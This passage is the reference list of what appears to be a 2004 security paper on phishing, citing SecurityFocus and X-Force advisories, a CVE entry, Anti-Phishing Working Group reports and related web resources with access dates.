   URL: http://www.domaininformer.com/guides/General_Information/articles/domainnamegrowth.html
   (21 August 2004)

9. SecurityFocus

10. SecurityFocus

11. ISS-Xforce Security Advisory 16102
    URL: http://xforce.iss.net/xforce/xfdb/16102 (21 August 2004)

12. ISS-Xforce Security Advisory 16383

13. CVE-MITRE CAN-2004-0537
    URL: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0537
    (21 August 2004)

    URL: http://www.antiphishing.org/ (22 August 2004)
15 Anti-Phishing Working Group – Recent Phishing Attacks  
URL: http://www.antiphishing.org/ (22 August 2004)

16 Oxford Advanced Learner’s Dictionary  

17 Macmillan English Dictionary  

18 Anti-Phishing Attack Report June 2004  

19 Anti-Phishing Attack Report June 2004  

20 Symptoms of panic attacks  

21 Deep Sea Phishing: Internet explorer/Outlook Express  

22 SecurityFocus – KDE Konqueror Embedded Image URI Obfuscation Weakness  
URL: http://www.securityfocus.com/bid/10383

23 SecurityFocus – Netscape Navigator Embedded Image URI Obfuscation Weakness  

24 Grey Magic Security Advisory  

25 Sample code from Grey Magic Security Advisory  

26 Anti-Phishing Attack Report June 2004  

27 Anti-Phishing Attack Report June 2004  
28 Anti-Phishing Working Group. Phishing Archives

29 Anti-Phishing Working Group. Phishing Archives

30 FTSC Counter-Phishing project prospectus

31 APWG Phishing Archives

32 APWG Phishing Archive

33 Composite Blocking List

34 SpamCop.net
   URL: http://www.spamcop.net/ (04 August 2004)

35 APNIC Whois Database
   URL: http://www.apnic.org/apnic-bin/whois.pl (20 August 2004)

36 LanGuard Network Security Scanner

37 Yahoo Search Engine

38 Vdaemon documentation page

39 Full-Disclosure mailing list archive –Neohapsis

40 SANS GIAC Track 4 Courseware
   URL: http://www.giac.org (20 August 2004)

41 Anti-Phishing Work Group. Consumer Advice: What to do if You've given out your personal financial information
   URL: http://www.antiphishing.org/consumer_recs2.htm (22 August 2004)
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